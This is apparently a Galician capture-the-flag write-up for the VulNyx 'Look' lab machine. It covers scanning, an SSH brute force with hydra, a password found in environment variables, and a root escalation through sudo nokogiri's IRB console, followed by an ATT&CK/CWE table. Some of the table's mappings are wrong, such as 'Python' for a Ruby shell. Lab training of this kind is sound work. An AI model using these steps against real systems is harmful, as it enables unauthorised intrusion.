Ir ao contido

Look

Máquina virtual Look

Fig. VulNyx Look
Fig. Card VulNyx Look

A máquina Look é moi interesante porque...

  • Usuario Apache non estándar ([usuario] en vez de www-data)
  • Credenciais nunha variable de entorno
  • Escalada mediante nokogiri (ferramenta Ruby)
  • Uso da consola IRB para executar comandos

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Look -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Look # 22,80
whatweb IP_VulNyx_Look
curl -I IP_VulNyx_Look

Fase 2 — Análise

# Enumeración de directorios web
gobuster dir -u http://IP_VulNyx_Look -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt

# Ficheiros descubertos:
# - info.php
# - look.php

# Análise de info.php
firefox http://IP_VulNyx_Look/info.php &
# Usuario/grupo de Apache identificado: XXXXXXXXX (en lugar de www-data)

# Análise de look.php
firefox http://IP_VulNyx_Look/look.php &

Fase 3 — Explotación

# Ataque de forza bruta SSH ao usuario XXXXXXXXX
hydra -l XXXXXXXXX -P /usr/share/wordlists/rockyou.txt IP_VulNyx_Look ssh
# Contrasinal atopada para XXXXXXXXX

# Acceso SSH
ssh XXXXXXXXX@IP_VulNyx_Look
# ⇒ Conseguimos consola de usuario XXXXXXXXX (flag user.txt)

Fase 4 — Post‑explotación

# Enumeración de variables de entorno
env
# Variable de entorno descuberta con contrasinal do usuario WWWWWWWWWW

# Cambio a usuario WWWWWWWWWW
su - WWWWWWWWWW
# Contrasinal: [atopada en variable de entorno]
# ⇒ Conseguimos consola de usuario WWWWWWWWWW

# Enumeración de permisos sudo
sudo -l
# User WWWWWWWWWW may run the following commands on look:
#     (root) NOPASSWD: /usr/bin/nokogiri

# Consulta en GTFOBins(https://gtfobins.github.io/) para nokogiri
# Explotación de nokogiri con sudo
sudo /usr/bin/nokogiri /var/www/html/index.html
# Your document is stored in @doc...
# irb(main):001:0>

# Dentro da consola IRB de nokogiri
system("whoami")
# root
# => true

system("bash")
# ⇒ Conseguimos shell de root

# Verificación
id # uid=0(root) gid=0(root) grupos=0(root)
cd /root
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Look

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Enumeración web e identificación de usuario Apache Information disclosure / web enumeration T1083 — File and Directory Discovery
T1087 — Account Discovery
CWE-200 — Information Exposure; CWE-209 — Generation of Error Message Containing Sensitive Information
3. Explotación Ataque de forza bruta SSH Brute-force de credenciais T1110.001 — Brute Force: Password Guessing
T1021.004 — Remote Services: SSH
CWE-521 — Weak Password Requirements; CWE-307 — Improper Restriction of Excessive Authentication Attempts
4. Post-explotación Extracción de credenciais de variables de entorno Credential Access T1552.007 — Unsecured Credentials: Container API
T1082 — System Information Discovery
CWE-526 — Exposure of Sensitive Information Through Environmental Variables
Escalada horizontal mediante credenciais válidas Lateral movement T1078.003 — Valid Accounts: Local Accounts
T1021 — Remote Services
CWE-798 — Use of Hard-coded Credentials (contextual)
Abuso de nokogiri con sudo para escalada de privilexios Abuso de mecanismos de elevación T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1059.006 — Command and Scripting Interpreter: Python
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control